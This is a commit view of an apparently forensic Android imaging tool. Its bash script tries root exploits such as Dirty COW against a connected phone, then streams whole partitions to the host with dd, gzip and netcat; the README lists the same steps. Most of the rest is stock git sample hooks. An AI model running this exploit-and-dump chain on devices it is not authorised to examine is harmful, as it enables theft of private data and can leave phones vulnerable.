Commit 1d685ae067448c033e1e250803b49c720e5e0858
0 parents
Initial import
Showing
192 changed files
with
6794 additions
and
0 deletions
Too many changes to show.
To preserve performance only 100 of 192 files are displayed.
.gitignore
0 → 100644
.gitmodules
0 → 100644
| 1 | +++ a/.gitmodules | ||
| 1 | +[submodule "tools/linux-kernel-exploitation"] | ||
| 2 | + path = tools/linux-kernel-exploitation | ||
| 3 | + url = https://github.com/xairy/linux-kernel-exploitation | ||
| 4 | +[submodule "tools/kernel-exploits"] | ||
| 5 | + path = tools/kernel-exploits | ||
| 6 | + url = https://github.com/xairy/kernel-exploits.git | ||
| 7 | +[submodule "exploits/android_run_root_shell"] | ||
| 8 | + path = exploits/android_run_root_shell | ||
| 9 | + url = https://github.com/android-rooting-tools/android_run_root_shell | ||
| 10 | +[submodule "exploits/CVE-2014-3153"] | ||
| 11 | + path = exploits/CVE-2014-3153 | ||
| 12 | + url = https://github.com/timwr/CVE-2014-3153 |
LELevator.sh
0 → 100755
| 1 | +++ a/LELevator.sh | ||
| 1 | +#!/bin/bash | ||
| 2 | + | ||
| 3 | +DEBUG=0 | ||
| 4 | + | ||
| 5 | +echo ' _ _____ _ _ ' | ||
| 6 | +echo '| | | ____| | _____ ____ _| |_ ___ _ __ ' | ||
| 7 | +echo '| | | _| | | / _ \ \ / / _` | __/ _ \| `__|' | ||
| 8 | +echo '| |___| |___| |__| __/\ V / (_| | || (_) | | ' | ||
| 9 | +echo '|_____|_____|_____\___| \_/ \__,_|\__\___/|_| ' | ||
| 10 | +echo ' ' | ||
| 11 | +echo 'Top LEL! ' | ||
| 12 | +echo ' ' | ||
| 13 | + | ||
| 14 | +sleep 1 | ||
| 15 | +if [[ $DEBUG == 1 ]]; then | ||
| 16 | + set -x | ||
| 17 | + trap read debug | ||
| 18 | +fi | ||
| 19 | + | ||
| 20 | +EXPLOITLIST="$(cat exploits/exploit_list | grep -P '^[^#]')" | ||
| 21 | +DEVICELIST="$(adb devices | tail -n +2 | head -n -1 | sed "s/$'\t'/ /g")" | ||
| 22 | +TCPPORT="8000" | ||
| 23 | + | ||
| 24 | +function show_progress() | ||
| 25 | +{ | ||
| 26 | + local file="$1" | ||
| 27 | + local disk="$2" | ||
| 28 | + local disksize="$3" | ||
| 29 | + local rewrite="\e[1A" | ||
| 30 | + local progress=0 | ||
| 31 | + local filesize=0 | ||
| 32 | + local cumspeed=1 | ||
| 33 | + local speedavg=0 | ||
| 34 | + local prev_filesize=0 | ||
| 35 | + local timeleft=0 | ||
| 36 | + local counter=1 | ||
| 37 | + | ||
| 38 | + ( | ||
| 39 | + while true; do | ||
| 40 | + filesize=$(stat $file --printf "%s") | ||
| 41 | + progress=$(($filesize*100/$disksize)) | ||
| 42 | + if [[ $progress -gt 100 ]]; then | ||
| 43 | + progress=100 | ||
| 44 | + fi | ||
| 45 | + echo "XXX" | ||
| 46 | + echo "$progress" | ||
| 47 | + echo "Disk image ($disk -> $file): $timeleft left @ $(($speedavg/1024)) KiB/s avg" | ||
| 48 | + echo "XXX" | ||
| 49 | + sleep 1 | ||
| 50 | + if [[ $progress == 100 ]]; then | ||
| 51 | + break | ||
| 52 | + fi | ||
| 53 | + cumspeed=$(($cumspeed + $filesize - $prev_filesize)) | ||
| 54 | + speedavg=$(($cumspeed / $counter)) | ||
| 55 | + counter=$(($counter + 1)) | ||
| 56 | + timeleft=`date -u -d@$((($disksize - $filesize)/$speedavg)) +"%T"` | ||
| 57 | + prev_filesize=$filesize | ||
| 58 | + done | ||
| 59 | + ) | dialog --title "Copy progress" --gauge "Please wait..." 7 70 0 | ||
| 60 | + clear | ||
| 61 | +} | ||
| 62 | + | ||
| 63 | +function deploy_busybox() | ||
| 64 | +{ | ||
| 65 | + pushd tools/busybox-android > /dev/null | ||
| 66 | + if [[ ! -f busybox ]]; then | ||
| 67 | + echo "Building Busybox..." | ||
| 68 | + ./build.sh > /dev/null | ||
| 69 | + fi | ||
| 70 | + ./deploy.sh $1 > /dev/null | ||
| 71 | + echo "Busybox deployed!" | ||
| 72 | + popd > /dev/null | ||
| 73 | +} | ||
| 74 | + | ||
| 75 | +function remove_busybox() | ||
| 76 | +{ | ||
| 77 | + tools/busybox-android/undeploy.sh $1 > /dev/null | ||
| 78 | + echo "Busybox removed from device" | ||
| 79 | +} | ||
| 80 | + | ||
| 81 | +function acquire_disk() | ||
| 82 | +{ | ||
| 83 | + local DISK="$1" | ||
| 84 | + local DISKNAME=$(basename $DISK) | ||
| 85 | + local DISKSIZE=$(($(adb -s $2 shell cat /proc/partitions | tr -d $'\xd' | tr -s " " | grep $DISKNAME$ | cut -d' ' -f 4)*1024)) | ||
| 86 | + | ||
| 87 | + if [[ $DEBUG == 1 ]]; then | ||
| 88 | + DISK="/system/bin/mksh" | ||
| 89 | + DISKSIZE=$(adb -s $2 shell /data/local/tmp/stat -c "%s" $DISK | tr -d $'\xd') | ||
| 90 | + fi | ||
| 91 | + | ||
| 92 | + local rootcmd | ||
| 93 | + echo "Starting copy of $DISKNAME on $2 ($(($DISKSIZE/1024)) KiB)" | ||
| 94 | + for exploit in $EXPLOITLIST; do | ||
| 95 | + echo -n "Trying exploit $exploit... " | ||
| 96 | + eval pre_$exploit $2 | ||
| 97 | + rootcmd=$(eval $exploit $2) | ||
| 98 | + if [[ $? == 0 ]]; then | ||
| 99 | + echo "Success!" | ||
| 100 | + break; | ||
| 101 | + else | ||
| 102 | + echo "Failure" | ||
| 103 | + eval post_$exploit $2 | ||
| 104 | + fi | ||
| 105 | + done | ||
| 106 | + if [[ $rootcmd == "" ]]; then | ||
| 107 | + echo "Couldn't find a working exploit. Aborting copy of $DISKNAME on $2" | ||
| 108 | + return 1 | ||
| 109 | + fi | ||
| 110 | + | ||
| 111 | + pushd dump/$2 > /dev/null | ||
| 112 | + adb -s $2 forward tcp:$TCPPORT tcp:$TCPPORT | ||
| 113 | + local start=$(date +%s) | ||
| 114 | + echo "cd /data/local/tmp;./dd if=$DISK conv=noerror,sync | ./gzip | ./nc -l -p $TCPPORT;exit" | $rootcmd > /dev/null& | ||
| 115 | + sleep 1 | ||
| 116 | + nc -w 3 localhost $TCPPORT | gunzip | tee $DISKNAME.dd | sha256sum > $DISKNAME.dd.sha256 & | ||
| 117 | + show_progress $DISKNAME.dd $DISKNAME $DISKSIZE | ||
| 118 | + local end=$(date +%s) | ||
| 119 | + sleep 3 | ||
| 120 | + adb -s $2 forward --remove-all | ||
| 121 | + echo -e "Done.\n\nTime elapsed: $(($end-$start)) seconds\nHASH (SHA-256): $(cat $DISKNAME.dd.sha256 | cut -d' ' -f 1)\n" | ||
| 122 | + if [[ $(stat --printf="%s" $DISKNAME.dd) == $DISKSIZE ]]; then | ||
| 123 | + echo "$DISKNAME copied successfully!" | ||
| 124 | + else | ||
| 125 | + echo "WARNING: Disk size ($DISKSIZE B) and image size ($(stat --printf="%s" $DISKNAME.dd) B) do NOT match!" | ||
| 126 | + fi | ||
| 127 | + popd > /dev/null | ||
| 128 | + | ||
| 129 | + eval post_$exploit $2 | ||
| 130 | + return 0 | ||
| 131 | +} | ||
| 132 | + | ||
| 133 | +if [[ $DEVICELIST == "" ]]; then | ||
| 134 | + echo "No devices found! Exiting..." | ||
| 135 | + exit 1 | ||
| 136 | +fi | ||
| 137 | + | ||
| 138 | +unset DEVICELIST | ||
| 139 | +OLDIFS="$IFS" | ||
| 140 | +IFS=$'\n' | ||
| 141 | +for line in $(adb devices -l | tail -n +2 | head -n -1 | sed "s/$'\t'/ /g"); do | ||
| 142 | + SERIAL=$(echo $line | tr -s " " | cut -d ' ' -f 1) | ||
| 143 | + DEV=$(echo $line | tr -s " " | cut -d ' ' -f 3) | ||
| 144 | + DESC=$(echo $line | tr -s " " | cut -d ' ' -f 4-) | ||
| 145 | + DEVICELIST+=( "$DEV" "$SERIAL $DESC" ) | ||
| 146 | +done | ||
| 147 | +IFS="$OLDIFS" | ||
| 148 | + | ||
| 149 | +SELECTEDDEVICE=$(dialog --stdout --backtitle "LELevator" --title "Select device" --menu "Choose one of the following Android devices" 15 100 8 "${DEVICELIST[@]}") | ||
| 150 | +clear | ||
| 151 | +if [[ $SELECTEDDEVICE == "" ]]; then | ||
| 152 | + echo "No device selected. Exiting..." | ||
| 153 | + exit 1 | ||
| 154 | +fi | ||
| 155 | + | ||
| 156 | +mkdir -p "dump/$SELECTEDDEVICE" | ||
| 157 | + | ||
| 158 | +DISKS=$(adb -s $SELECTEDDEVICE shell cat /proc/partitions | grep -oP "mmcblk\d+" | sort -u) | ||
| 159 | +DISKLIST="" | ||
| 160 | +for disk in $DISKS; do | ||
| 161 | + DISKLIST="$DISKLIST/dev/block/$disk $disk off " | ||
| 162 | +done | ||
| 163 | +SELECTEDDISKS=`dialog --stdout --backtitle "LELevator" --title "Select disk(s) to copy" --checklist "Choose one or more disks to copy" 15 40 4 $DISKLIST` | ||
| 164 | +clear | ||
| 165 | + | ||
| 166 | +source exploits/*.sh | ||
| 167 | +deploy_busybox $SELECTEDDEVICE | ||
| 168 | +for disk in $SELECTEDDISKS; do | ||
| 169 | + acquire_disk $disk $SELECTEDDEVICE | ||
| 170 | +done | ||
| 171 | +remove_busybox $SELECTEDDEVICE | ||
| 172 | + | ||
| 173 | +echo "Finished. Have a nice day!" |
README.md
0 → 100644
| 1 | +++ a/README.md | ||
| 1 | +REQUIREMENTS | ||
| 2 | +============= | ||
| 3 | +Debian packages: | ||
| 4 | +* gcc-arm-linux-gnueabi (Busybox) | ||
| 5 | +* dialog | ||
| 6 | +* build-essential | ||
| 7 | + | ||
| 8 | +Android SDK: | ||
| 9 | +* adb (on $PATH) | ||
| 10 | +* NDK bundle (CVE-2016-5195 needs it) | ||
| 11 | + | ||
| 12 | +PROCEDURE FOR IMAGING | ||
| 13 | +====================== | ||
| 14 | + | ||
| 15 | +1. Airplane mode | ||
| 16 | +2. Exploit root | ||
| 17 | +3. adb forward tcp:8000 tcp:8000 | ||
| 18 | +4. (on recipient) nc -w 3 localhost 8000 | gunzip | tee file.dd | sha256sum | tee file.dd.sha256 | ||
| 19 | +5. dd if=/dev/block/mmcblk0 conv=noerror,sync | gzip | nc -l -p 8000 | ||
| 20 | +6. Crack a cold brewski with THE FUCKING LADS | ||
| 21 | +7. Profit! | ||
| 22 | + | ||
| 23 | +PROCEDURE FOR BUSYBOX | ||
| 24 | +======================== | ||
| 25 | +(on tools/busybox-android folder) | ||
| 26 | +1. ./build.sh | ||
| 27 | +2. ./deploy.sh | ||
| 28 | + | ||
| 29 | +NOTES | ||
| 30 | +====== | ||
| 31 | +- Dumped image seems to use MSDOS partition table | ||
| 32 | +- **WARNING** Exploit CVE-2016-5195 CAN overwrite RO files SOMEHOW, so besides de disk image, a copy of the run-as is also downloaded in case modification was permanent. In most terminals, the file is not overwritten, but it HAS happened and may very well happen, leaving the terminal vulnerable. | ||
| 33 | + | ||
| 34 | +EXPLOITS | ||
| 35 | +========== | ||
| 36 | +* **[PATCHED]** Dirty Cow (CVE-2016-5195): Exploit persists until reboot. Patched on 1st December 2016 Security Patch Level. | ||
| 37 | + | ||
| 38 | +DEVEL TODO's | ||
| 39 | +============== | ||
| 40 | +* [CVE-2014-3153] Adapt and try | ||
| 41 | +* [CVE-2016-5195] dcow doesn't completely overwrite original file bytes sometimes. Requires multiple tries or reboot | ||
| 42 | +* Logging system |
CVE-2014-3153 @ 87540e7ca9e
exploits/CVE-2016-5195/.git-disabled/HEAD
0 → 100644
exploits/CVE-2016-5195/.git-disabled/config
0 → 100644
| 1 | +++ a/exploits/CVE-2016-5195/.git-disabled/config | ||
| 1 | +[core] | ||
| 2 | + repositoryformatversion = 0 | ||
| 3 | + filemode = true | ||
| 4 | + bare = false | ||
| 5 | + logallrefupdates = true | ||
| 6 | +[remote "origin"] | ||
| 7 | + url = https://github.com/timwr/CVE-2016-5195.git | ||
| 8 | + fetch = +refs/heads/*:refs/remotes/origin/* | ||
| 9 | +[branch "master"] | ||
| 10 | + remote = origin | ||
| 11 | + merge = refs/heads/master |
exploits/CVE-2016-5195/.git-disabled/description
0 → 100644
exploits/CVE-2016-5195/.git-disabled/hooks/applypatch-msg.sample
0 → 100755
| 1 | +++ a/exploits/CVE-2016-5195/.git-disabled/hooks/applypatch-msg.sample | ||
| 1 | +#!/bin/sh | ||
| 2 | +# | ||
| 3 | +# An example hook script to check the commit log message taken by | ||
| 4 | +# applypatch from an e-mail message. | ||
| 5 | +# | ||
| 6 | +# The hook should exit with non-zero status after issuing an | ||
| 7 | +# appropriate message if it wants to stop the commit. The hook is | ||
| 8 | +# allowed to edit the commit message file. | ||
| 9 | +# | ||
| 10 | +# To enable this hook, rename this file to "applypatch-msg". | ||
| 11 | + | ||
| 12 | +. git-sh-setup | ||
| 13 | +commitmsg="$(git rev-parse --git-path hooks/commit-msg)" | ||
| 14 | +test -x "$commitmsg" && exec "$commitmsg" ${1+"$@"} | ||
| 15 | +: |
exploits/CVE-2016-5195/.git-disabled/hooks/commit-msg.sample
0 → 100755
| 1 | +++ a/exploits/CVE-2016-5195/.git-disabled/hooks/commit-msg.sample | ||
| 1 | +#!/bin/sh | ||
| 2 | +# | ||
| 3 | +# An example hook script to check the commit log message. | ||
| 4 | +# Called by "git commit" with one argument, the name of the file | ||
| 5 | +# that has the commit message. The hook should exit with non-zero | ||
| 6 | +# status after issuing an appropriate message if it wants to stop the | ||
| 7 | +# commit. The hook is allowed to edit the commit message file. | ||
| 8 | +# | ||
| 9 | +# To enable this hook, rename this file to "commit-msg". | ||
| 10 | + | ||
| 11 | +# Uncomment the below to add a Signed-off-by line to the message. | ||
| 12 | +# Doing this in a hook is a bad idea in general, but the prepare-commit-msg | ||
| 13 | +# hook is more suited to it. | ||
| 14 | +# | ||
| 15 | +# SOB=$(git var GIT_AUTHOR_IDENT | sed -n 's/^\(.*>\).*$/Signed-off-by: \1/p') | ||
| 16 | +# grep -qs "^$SOB" "$1" || echo "$SOB" >> "$1" | ||
| 17 | + | ||
| 18 | +# This example catches duplicate Signed-off-by lines. | ||
| 19 | + | ||
| 20 | +test "" = "$(grep '^Signed-off-by: ' "$1" | | ||
| 21 | + sort | uniq -c | sed -e '/^[ ]*1[ ]/d')" || { | ||
| 22 | + echo >&2 Duplicate Signed-off-by lines. | ||
| 23 | + exit 1 | ||
| 24 | +} |
exploits/CVE-2016-5195/.git-disabled/hooks/post-update.sample
0 → 100755
exploits/CVE-2016-5195/.git-disabled/hooks/pre-applypatch.sample
0 → 100755
| 1 | +++ a/exploits/CVE-2016-5195/.git-disabled/hooks/pre-applypatch.sample | ||
| 1 | +#!/bin/sh | ||
| 2 | +# | ||
| 3 | +# An example hook script to verify what is about to be committed | ||
| 4 | +# by applypatch from an e-mail message. | ||
| 5 | +# | ||
| 6 | +# The hook should exit with non-zero status after issuing an | ||
| 7 | +# appropriate message if it wants to stop the commit. | ||
| 8 | +# | ||
| 9 | +# To enable this hook, rename this file to "pre-applypatch". | ||
| 10 | + | ||
| 11 | +. git-sh-setup | ||
| 12 | +precommit="$(git rev-parse --git-path hooks/pre-commit)" | ||
| 13 | +test -x "$precommit" && exec "$precommit" ${1+"$@"} | ||
| 14 | +: |
exploits/CVE-2016-5195/.git-disabled/hooks/pre-commit.sample
0 → 100755
| 1 | +++ a/exploits/CVE-2016-5195/.git-disabled/hooks/pre-commit.sample | ||
| 1 | +#!/bin/sh | ||
| 2 | +# | ||
| 3 | +# An example hook script to verify what is about to be committed. | ||
| 4 | +# Called by "git commit" with no arguments. The hook should | ||
| 5 | +# exit with non-zero status after issuing an appropriate message if | ||
| 6 | +# it wants to stop the commit. | ||
| 7 | +# | ||
| 8 | +# To enable this hook, rename this file to "pre-commit". | ||
| 9 | + | ||
| 10 | +if git rev-parse --verify HEAD >/dev/null 2>&1 | ||
| 11 | +then | ||
| 12 | + against=HEAD | ||
| 13 | +else | ||
| 14 | + # Initial commit: diff against an empty tree object | ||
| 15 | + against=4b825dc642cb6eb9a060e54bf8d69288fbee4904 | ||
| 16 | +fi | ||
| 17 | + | ||
| 18 | +# If you want to allow non-ASCII filenames set this variable to true. | ||
| 19 | +allownonascii=$(git config --bool hooks.allownonascii) | ||
| 20 | + | ||
| 21 | +# Redirect output to stderr. | ||
| 22 | +exec 1>&2 | ||
| 23 | + | ||
| 24 | +# Cross platform projects tend to avoid non-ASCII filenames; prevent | ||
| 25 | +# them from being added to the repository. We exploit the fact that the | ||
| 26 | +# printable range starts at the space character and ends with tilde. | ||
| 27 | +if [ "$allownonascii" != "true" ] && | ||
| 28 | + # Note that the use of brackets around a tr range is ok here, (it's | ||
| 29 | + # even required, for portability to Solaris 10's /usr/bin/tr), since | ||
| 30 | + # the square bracket bytes happen to fall in the designated range. | ||
| 31 | + test $(git diff --cached --name-only --diff-filter=A -z $against | | ||
| 32 | + LC_ALL=C tr -d '[ -~]\0' | wc -c) != 0 | ||
| 33 | +then | ||
| 34 | + cat <<\EOF | ||
| 35 | +Error: Attempt to add a non-ASCII file name. | ||
| 36 | + | ||
| 37 | +This can cause problems if you want to work with people on other platforms. | ||
| 38 | + | ||
| 39 | +To be portable it is advisable to rename the file. | ||
| 40 | + | ||
| 41 | +If you know what you are doing you can disable this check using: | ||
| 42 | + | ||
| 43 | + git config hooks.allownonascii true | ||
| 44 | +EOF | ||
| 45 | + exit 1 | ||
| 46 | +fi | ||
| 47 | + | ||
| 48 | +# If there are whitespace errors, print the offending file names and fail. | ||
| 49 | +exec git diff-index --check --cached $against -- |
exploits/CVE-2016-5195/.git-disabled/hooks/pre-push.sample
0 → 100755
| 1 | +++ a/exploits/CVE-2016-5195/.git-disabled/hooks/pre-push.sample | ||
| 1 | +#!/bin/sh | ||
| 2 | + | ||
| 3 | +# An example hook script to verify what is about to be pushed. Called by "git | ||
| 4 | +# push" after it has checked the remote status, but before anything has been | ||
| 5 | +# pushed. If this script exits with a non-zero status nothing will be pushed. | ||
| 6 | +# | ||
| 7 | +# This hook is called with the following parameters: | ||
| 8 | +# | ||
| 9 | +# $1 -- Name of the remote to which the push is being done | ||
| 10 | +# $2 -- URL to which the push is being done | ||
| 11 | +# | ||
| 12 | +# If pushing without using a named remote those arguments will be equal. | ||
| 13 | +# | ||
| 14 | +# Information about the commits which are being pushed is supplied as lines to | ||
| 15 | +# the standard input in the form: | ||
| 16 | +# | ||
| 17 | +# <local ref> <local sha1> <remote ref> <remote sha1> | ||
| 18 | +# | ||
| 19 | +# This sample shows how to prevent push of commits where the log message starts | ||
| 20 | +# with "WIP" (work in progress). | ||
| 21 | + | ||
| 22 | +remote="$1" | ||
| 23 | +url="$2" | ||
| 24 | + | ||
| 25 | +z40=0000000000000000000000000000000000000000 | ||
| 26 | + | ||
| 27 | +while read local_ref local_sha remote_ref remote_sha | ||
| 28 | +do | ||
| 29 | + if [ "$local_sha" = $z40 ] | ||
| 30 | + then | ||
| 31 | + # Handle delete | ||
| 32 | + : | ||
| 33 | + else | ||
| 34 | + if [ "$remote_sha" = $z40 ] | ||
| 35 | + then | ||
| 36 | + # New branch, examine all commits | ||
| 37 | + range="$local_sha" | ||
| 38 | + else | ||
| 39 | + # Update to existing branch, examine new commits | ||
| 40 | + range="$remote_sha..$local_sha" | ||
| 41 | + fi | ||
| 42 | + | ||
| 43 | + # Check for WIP commit | ||
| 44 | + commit=`git rev-list -n 1 --grep '^WIP' "$range"` | ||
| 45 | + if [ -n "$commit" ] | ||
| 46 | + then | ||
| 47 | + echo >&2 "Found WIP commit in $local_ref, not pushing" | ||
| 48 | + exit 1 | ||
| 49 | + fi | ||
| 50 | + fi | ||
| 51 | +done | ||
| 52 | + | ||
| 53 | +exit 0 |
exploits/CVE-2016-5195/.git-disabled/hooks/pre-rebase.sample
0 → 100755
| 1 | +++ a/exploits/CVE-2016-5195/.git-disabled/hooks/pre-rebase.sample | ||
| 1 | +#!/bin/sh | ||
| 2 | +# | ||
| 3 | +# Copyright (c) 2006, 2008 Junio C Hamano | ||
| 4 | +# | ||
| 5 | +# The "pre-rebase" hook is run just before "git rebase" starts doing | ||
| 6 | +# its job, and can prevent the command from running by exiting with | ||
| 7 | +# non-zero status. | ||
| 8 | +# | ||
| 9 | +# The hook is called with the following parameters: | ||
| 10 | +# | ||
| 11 | +# $1 -- the upstream the series was forked from. | ||
| 12 | +# $2 -- the branch being rebased (or empty when rebasing the current branch). | ||
| 13 | +# | ||
| 14 | +# This sample shows how to prevent topic branches that are already | ||
| 15 | +# merged to 'next' branch from getting rebased, because allowing it | ||
| 16 | +# would result in rebasing already published history. | ||
| 17 | + | ||
| 18 | +publish=next | ||
| 19 | +basebranch="$1" | ||
| 20 | +if test "$#" = 2 | ||
| 21 | +then | ||
| 22 | + topic="refs/heads/$2" | ||
| 23 | +else | ||
| 24 | + topic=`git symbolic-ref HEAD` || | ||
| 25 | + exit 0 ;# we do not interrupt rebasing detached HEAD | ||
| 26 | +fi | ||
| 27 | + | ||
| 28 | +case "$topic" in | ||
| 29 | +refs/heads/??/*) | ||
| 30 | + ;; | ||
| 31 | +*) | ||
| 32 | + exit 0 ;# we do not interrupt others. | ||
| 33 | + ;; | ||
| 34 | +esac | ||
| 35 | + | ||
| 36 | +# Now we are dealing with a topic branch being rebased | ||
| 37 | +# on top of master. Is it OK to rebase it? | ||
| 38 | + | ||
| 39 | +# Does the topic really exist? | ||
| 40 | +git show-ref -q "$topic" || { | ||
| 41 | + echo >&2 "No such branch $topic" | ||
| 42 | + exit 1 | ||
| 43 | +} | ||
| 44 | + | ||
| 45 | +# Is topic fully merged to master? | ||
| 46 | +not_in_master=`git rev-list --pretty=oneline ^master "$topic"` | ||
| 47 | +if test -z "$not_in_master" | ||
| 48 | +then | ||
| 49 | + echo >&2 "$topic is fully merged to master; better remove it." | ||
| 50 | + exit 1 ;# we could allow it, but there is no point. | ||
| 51 | +fi | ||
| 52 | + | ||
| 53 | +# Is topic ever merged to next? If so you should not be rebasing it. | ||
| 54 | +only_next_1=`git rev-list ^master "^$topic" ${publish} | sort` | ||
| 55 | +only_next_2=`git rev-list ^master ${publish} | sort` | ||
| 56 | +if test "$only_next_1" = "$only_next_2" | ||
| 57 | +then | ||
| 58 | + not_in_topic=`git rev-list "^$topic" master` | ||
| 59 | + if test -z "$not_in_topic" | ||
| 60 | + then | ||
| 61 | + echo >&2 "$topic is already up-to-date with master" | ||
| 62 | + exit 1 ;# we could allow it, but there is no point. | ||
| 63 | + else | ||
| 64 | + exit 0 | ||
| 65 | + fi | ||
| 66 | +else | ||
| 67 | + not_in_next=`git rev-list --pretty=oneline ^${publish} "$topic"` | ||
| 68 | + /usr/bin/perl -e ' | ||
| 69 | + my $topic = $ARGV[0]; | ||
| 70 | + my $msg = "* $topic has commits already merged to public branch:\n"; | ||
| 71 | + my (%not_in_next) = map { | ||
| 72 | + /^([0-9a-f]+) /; | ||
| 73 | + ($1 => 1); | ||
| 74 | + } split(/\n/, $ARGV[1]); | ||
| 75 | + for my $elem (map { | ||
| 76 | + /^([0-9a-f]+) (.*)$/; | ||
| 77 | + [$1 => $2]; | ||
| 78 | + } split(/\n/, $ARGV[2])) { | ||
| 79 | + if (!exists $not_in_next{$elem->[0]}) { | ||
| 80 | + if ($msg) { | ||
| 81 | + print STDERR $msg; | ||
| 82 | + undef $msg; | ||
| 83 | + } | ||
| 84 | + print STDERR " $elem->[1]\n"; | ||
| 85 | + } | ||
| 86 | + } | ||
| 87 | + ' "$topic" "$not_in_next" "$not_in_master" | ||
| 88 | + exit 1 | ||
| 89 | +fi | ||
| 90 | + | ||
| 91 | +<<\DOC_END | ||
| 92 | + | ||
| 93 | +This sample hook safeguards topic branches that have been | ||
| 94 | +published from being rewound. | ||
| 95 | + | ||
| 96 | +The workflow assumed here is: | ||
| 97 | + | ||
| 98 | + * Once a topic branch forks from "master", "master" is never | ||
| 99 | + merged into it again (either directly or indirectly). | ||
| 100 | + | ||
| 101 | + * Once a topic branch is fully cooked and merged into "master", | ||
| 102 | + it is deleted. If you need to build on top of it to correct | ||
| 103 | + earlier mistakes, a new topic branch is created by forking at | ||
| 104 | + the tip of the "master". This is not strictly necessary, but | ||
| 105 | + it makes it easier to keep your history simple. | ||
| 106 | + | ||
| 107 | + * Whenever you need to test or publish your changes to topic | ||
| 108 | + branches, merge them into "next" branch. | ||
| 109 | + | ||
| 110 | +The script, being an example, hardcodes the publish branch name | ||
| 111 | +to be "next", but it is trivial to make it configurable via | ||
| 112 | +$GIT_DIR/config mechanism. | ||
| 113 | + | ||
| 114 | +With this workflow, you would want to know: | ||
| 115 | + | ||
| 116 | +(1) ... if a topic branch has ever been merged to "next". Young | ||
| 117 | + topic branches can have stupid mistakes you would rather | ||
| 118 | + clean up before publishing, and things that have not been | ||
| 119 | + merged into other branches can be easily rebased without | ||
| 120 | + affecting other people. But once it is published, you would | ||
| 121 | + not want to rewind it. | ||
| 122 | + | ||
| 123 | +(2) ... if a topic branch has been fully merged to "master". | ||
| 124 | + Then you can delete it. More importantly, you should not | ||
| 125 | + build on top of it -- other people may already want to | ||
| 126 | + change things related to the topic as patches against your | ||
| 127 | + "master", so if you need further changes, it is better to | ||
| 128 | + fork the topic (perhaps with the same name) afresh from the | ||
| 129 | + tip of "master". | ||
| 130 | + | ||
| 131 | +Let's look at this example: | ||
| 132 | + | ||
| 133 | + o---o---o---o---o---o---o---o---o---o "next" | ||
| 134 | + / / / / | ||
| 135 | + / a---a---b A / / | ||
| 136 | + / / / / | ||
| 137 | + / / c---c---c---c B / | ||
| 138 | + / / / \ / | ||
| 139 | + / / / b---b C \ / | ||
| 140 | + / / / / \ / | ||
| 141 | + ---o---o---o---o---o---o---o---o---o---o---o "master" | ||
| 142 | + | ||
| 143 | + | ||
| 144 | +A, B and C are topic branches. | ||
| 145 | + | ||
| 146 | + * A has one fix since it was merged up to "next". | ||
| 147 | + | ||
| 148 | + * B has finished. It has been fully merged up to "master" and "next", | ||
| 149 | + and is ready to be deleted. | ||
| 150 | + | ||
| 151 | + * C has not merged to "next" at all. | ||
| 152 | + | ||
| 153 | +We would want to allow C to be rebased, refuse A, and encourage | ||
| 154 | +B to be deleted. | ||
| 155 | + | ||
| 156 | +To compute (1): | ||
| 157 | + | ||
| 158 | + git rev-list ^master ^topic next | ||
| 159 | + git rev-list ^master next | ||
| 160 | + | ||
| 161 | + if these match, topic has not merged in next at all. | ||
| 162 | + | ||
| 163 | +To compute (2): | ||
| 164 | + | ||
| 165 | + git rev-list master..topic | ||
| 166 | + | ||
| 167 | + if this is empty, it is fully merged to "master". | ||
| 168 | + | ||
| 169 | +DOC_END |
exploits/CVE-2016-5195/.git-disabled/hooks/pre-receive.sample
0 → 100644
| 1 | +++ a/exploits/CVE-2016-5195/.git-disabled/hooks/pre-receive.sample | ||
| 1 | +#!/bin/sh | ||
| 2 | +# | ||
| 3 | +# An example hook script to make use of push options. | ||
| 4 | +# The example simply echoes all push options that start with 'echoback=' | ||
| 5 | +# and rejects all pushes when the "reject" push option is used. | ||
| 6 | +# | ||
| 7 | +# To enable this hook, rename this file to "pre-receive". | ||
| 8 | + | ||
| 9 | +if test -n "$GIT_PUSH_OPTION_COUNT" | ||
| 10 | +then | ||
| 11 | + i=0 | ||
| 12 | + while test "$i" -lt "$GIT_PUSH_OPTION_COUNT" | ||
| 13 | + do | ||
| 14 | + eval "value=\$GIT_PUSH_OPTION_$i" | ||
| 15 | + case "$value" in | ||
| 16 | + echoback=*) | ||
| 17 | + echo "echo from the pre-receive-hook: ${value#*=}" >&2 | ||
| 18 | + ;; | ||
| 19 | + reject) | ||
| 20 | + exit 1 | ||
| 21 | + esac | ||
| 22 | + i=$((i + 1)) | ||
| 23 | + done | ||
| 24 | +fi |
exploits/CVE-2016-5195/.git-disabled/hooks/prepare-commit-msg.sample
0 → 100755
| 1 | +++ a/exploits/CVE-2016-5195/.git-disabled/hooks/prepare-commit-msg.sample | ||
| 1 | +#!/bin/sh | ||
| 2 | +# | ||
| 3 | +# An example hook script to prepare the commit log message. | ||
| 4 | +# Called by "git commit" with the name of the file that has the | ||
| 5 | +# commit message, followed by the description of the commit | ||
| 6 | +# message's source. The hook's purpose is to edit the commit | ||
| 7 | +# message file. If the hook fails with a non-zero status, | ||
| 8 | +# the commit is aborted. | ||
| 9 | +# | ||
| 10 | +# To enable this hook, rename this file to "prepare-commit-msg". | ||
| 11 | + | ||
| 12 | +# This hook includes three examples. The first comments out the | ||
| 13 | +# "Conflicts:" part of a merge commit. | ||
| 14 | +# | ||
| 15 | +# The second includes the output of "git diff --name-status -r" | ||
| 16 | +# into the message, just before the "git status" output. It is | ||
| 17 | +# commented because it doesn't cope with --amend or with squashed | ||
| 18 | +# commits. | ||
| 19 | +# | ||
| 20 | +# The third example adds a Signed-off-by line to the message, that can | ||
| 21 | +# still be edited. This is rarely a good idea. | ||
| 22 | + | ||
| 23 | +case "$2,$3" in | ||
| 24 | + merge,) | ||
| 25 | + /usr/bin/perl -i.bak -ne 's/^/# /, s/^# #/#/ if /^Conflicts/ .. /#/; print' "$1" ;; | ||
| 26 | + | ||
| 27 | +# ,|template,) | ||
| 28 | +# /usr/bin/perl -i.bak -pe ' | ||
| 29 | +# print "\n" . `git diff --cached --name-status -r` | ||
| 30 | +# if /^#/ && $first++ == 0' "$1" ;; | ||
| 31 | + | ||
| 32 | + *) ;; | ||
| 33 | +esac | ||
| 34 | + | ||
| 35 | +# SOB=$(git var GIT_AUTHOR_IDENT | sed -n 's/^\(.*>\).*$/Signed-off-by: \1/p') | ||
| 36 | +# grep -qs "^$SOB" "$1" || echo "$SOB" >> "$1" |
exploits/CVE-2016-5195/.git-disabled/hooks/update.sample
0 → 100755
| 1 | +++ a/exploits/CVE-2016-5195/.git-disabled/hooks/update.sample | ||
| 1 | +#!/bin/sh | ||
